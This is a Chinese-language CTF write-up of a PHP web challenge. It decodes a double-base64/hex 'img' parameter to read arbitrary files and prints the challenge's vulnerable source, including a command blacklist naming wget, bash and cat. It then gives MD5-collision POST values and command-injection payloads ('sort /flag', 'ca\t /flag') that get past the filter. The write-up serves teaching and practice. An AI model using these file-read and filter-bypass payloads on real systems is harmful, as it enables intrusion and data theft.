题目
分析
页面啥也没有,日常查看源代码
蓝色的东西有一大串,前面写着data:image/gif;base64
知识点:
Data URI scheme
data:image/png;base64的使用_凉茶微凉-CSDN博客
data:image/png;base64 - 心存善念 - 博客园
目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入
其实“data:image/gif;base64,R0lGODlhJ……” 就是一张图片的DataURL,就是利用base64编码把图片数据翻译成标准ASCII字符。 等同于:
<img src=”../images/loading.gif”>
换句话说我们把图像文件的内容内置在 HTML 文件中,节省了一个 HTTP 请求。
Data URI scheme语法:
data:image/png;base64,iVBO。。。。。。
data:image/png; ? ?声明数据协议及类型名称 base64, ? ? ? ? ? ?编码形式为base64 iVBO。。。。。。? ? 文件内容base64编码结果
这里看见url中有这一段字符
/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
看着img的值像base64加密,我们尝试解密一下;最终经过两次base64解密、一次16进制解密得到明文:555.png,猜测是文件包含。
尝试将flag.php经过一次16进制编码,两次base64编码之后的值赋值给img看看结果
?提示没有flag。
然后看见url后面还有参数cmd,猜测应该是要我们进行命令执行,cmd赋值为ls?
发现被禁止了,尝试了其他代码一样的被禁止,所以我们得找到源码才能继续往下做
因为是在index.php这个页面进行的传参,所以我们可以看看index.php里面的内容,同样将index.php加密后赋值给img?
将Data URI scheme中的内容进行base64解码,得到index.php的源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
知识点
header()--发送原生 HTTP 头,header()?必须在任何实际输出之前调用
hex2bin()--转换十六进制字符串为二进制字符串
正则匹配
[^a-z] | 负值字符范围。匹配任何不在指定范围内的任意字符。例如,'[^a-z]' 可以匹配任何不在 'a' 到 'z' 范围内的任意字符。 |
分析
可以看到我们传入flag.php加密字符串没用的原因是:
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
所以我们要得到flag.php的内容得靠后面的代码
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
即通过命令执行,输出flag
代码意思表示对$cmd进行了过滤,然后post传入a,b;要求是a与b不全等,但他俩的md5值要全等。
那么便是下面的这个值:
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
需要用bp抓包传,不能用hackbar,是因为使用hackbar会自动进行一次url解密,而里面有一些不可见字符,会导致出错
或者
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
md5的问题解决了,现在是进行命令执行了
知识点
dir(),返回目录下的文件,可以不用()
?可以看到flag在 /flag目录下
payload
GET:?img=&cmd=sort%20/flag
//不给img赋值,可以不输出base加密的字符串
POST:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
sort的定义: sort将文件的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码进行比较,最后将它们按升序输出(就是按行排序)。
或者另外一个姿势:
知识点
转义序列(反斜线)
反斜线有多种用法。首先,如果紧接着是一个非字母数字字符,表明取消 该字符所代表的特殊涵义。这种将反斜线作为转义字符的用法在字符类内部和外部都可用。
比如,在正则匹配中如果你希望匹配一个 "*" 字符,就需要在模式中写为 "\*"。 这适用于一个字符在不进行转义会有特殊含义的情况下。 但是, 对于非数字字母的字符,总是在需要其进行原文匹配的时候在它前面增加一个反斜线, 来声明它代表自己,这是安全的。如果要匹配一个反斜线,那么在模式中使用 "\\"
String 字符串
如果用单引号来表达字符串,要表达一个单引号自身,需在它的前面加个反斜线(\ )来转义。要表达一个反斜线自身,则用两个反斜线(\\ )。其它任何方式的反斜线都会被当成反斜线本身:也就是说如果想使用其它转义序列例如?\r ?或者?\n ,并不代表任何特殊含义,就单纯是这两个字符本身。
而用双引号表达字符串的区别是,用双引号定义的字符串变量会被解析且\n也会被解析除此之外其它任何方式的反斜线都会被当成反斜线本身
?
总结:单引号字符串只会对反斜杠\ 和单引号' 两种情况进行转义,双引号字符串会对反斜杠\和双引号"和(\n等字符)三种情况进行转义
反斜线在单引号和双引号 PHP?字符串中都有特殊含义。因此要匹配一个反斜线 \,正则表达式写法是 \\, 然后 PHP 代码中需要转义写成 "\\\" 或 '\\\\'。
(三反斜杠等于四个反斜杠,原理就是上文的String字符串内容)
?第一个\转义第二个\,第三个\作为自己本身;这里前面使用a是为了防止转义单引号双引号
匹配一个反斜线 \,正则写法:
匹配一个反斜线 \,php代码写法:
?这里$result3返回1是因为| 分割了空字符
这样就不会匹配到空字符了?
但是可以匹配到 |x? 是因为第二个|被转义了
preg_match中的第一个参数需要有一对任何非字母、数字、“\”或空格的字符作为分隔符,也就是我们最常用的“/”
参考文章
为什么3反斜杠在php中等于4反斜杠? - Thinbug
【PHP】之4个反斜杠、3个反斜杠的情况_Qonent的博客-CSDN博客
综上所述:
题目中的这串代码:
"/\?|\\|\\\\|\n/"
经过php转义之后变为 "/\?|\|\\| /"?在放到正则匹配中去,意思就会变成这样:
第一个反斜杠转义? 第二个反斜杠转义|第三个反斜杠转义第四个反斜杠
最终就是匹配?或者|\或者回车
?
payload
GET:?img=&cmd=ca\t%20/flag
POST:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
|